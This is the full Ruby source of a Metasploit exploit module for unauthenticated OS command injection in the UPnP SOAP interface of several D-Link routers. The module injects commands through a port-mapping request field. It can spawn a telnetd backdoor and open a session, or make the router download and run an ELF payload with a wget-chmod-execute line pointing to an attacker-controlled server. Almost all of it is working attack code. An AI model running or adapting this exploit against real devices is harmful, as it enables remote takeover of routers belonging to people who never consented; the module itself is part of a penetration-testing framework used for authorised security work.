metasploit-framework/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

317 lines
10 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link UPnP SOAP Command Execution',
'Description' => %q{
Different DLink Routers are vulnerable to OS Command injection in the UPnP
SOAP interface.
Not every device includes wget which we need for deploying our payload.
On such devices you could use the telnet target for starting a telnet server or the
cmd generic payload and try to start telnetd or execute other commands. Since it is
a blind OS command injection vulnerability, there is no output for the executed
command when using the cmd generic payload. A ping command against a controlled
system could be used for testing purposes. This module has been tested successfully
on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865.
It looks like that there are some more D-Link devices affected.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94924' ],
[ 'BID', '61005' ],
[ 'EDB', '26664' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
],
'DisclosureDate' => 'Jul 05 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload', #DIR-865, DIR-645, and others with wget installed
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(49152),
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
], self.class)
end
def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
uri = '/soap.cgi'
data_cmd = "<?xml version=\"1.0\"?>"
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd << "<SOAP-ENV:Body>"
if type == "add"
vprint_status("#{rhost}:#{rport} - adding portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewPortMappingDescription>#{new_portmapping_description}</NewPortMappingDescription>"
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
data_cmd << "</m:AddPortMapping>"
else
#we should clean it up ... otherwise we are not able to exploit it multiple times
vprint_status("#{rhost}:#{rport} - deleting portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
data_cmd << "</m:DeletePortMapping>"
end
data_cmd << "</SOAP-ENV:Body>"
data_cmd << "</SOAP-ENV:Envelope>"
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
new_portmapping_description = rand_text_alpha(8)
new_external_port = rand(65535)
new_internal_port = rand(65535)
if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
type = "add"
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
if (!res or res.code != 200)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
type = "delete"
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
if (!res or res.code != 200)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
return
end
if target.name =~ /Telnet/
telnetport = rand(65535)
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
type = "add"
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
if (!res or res.code != 200)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
type = "delete"
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
if (!res or res.code != 200)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
if sock
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
auth_info = {
:host => rhost,
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
return
end
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
type = "add"
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
if (!res or res.code != 200)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
type = "delete"
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
if (!res or res.code != 200)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end
end
end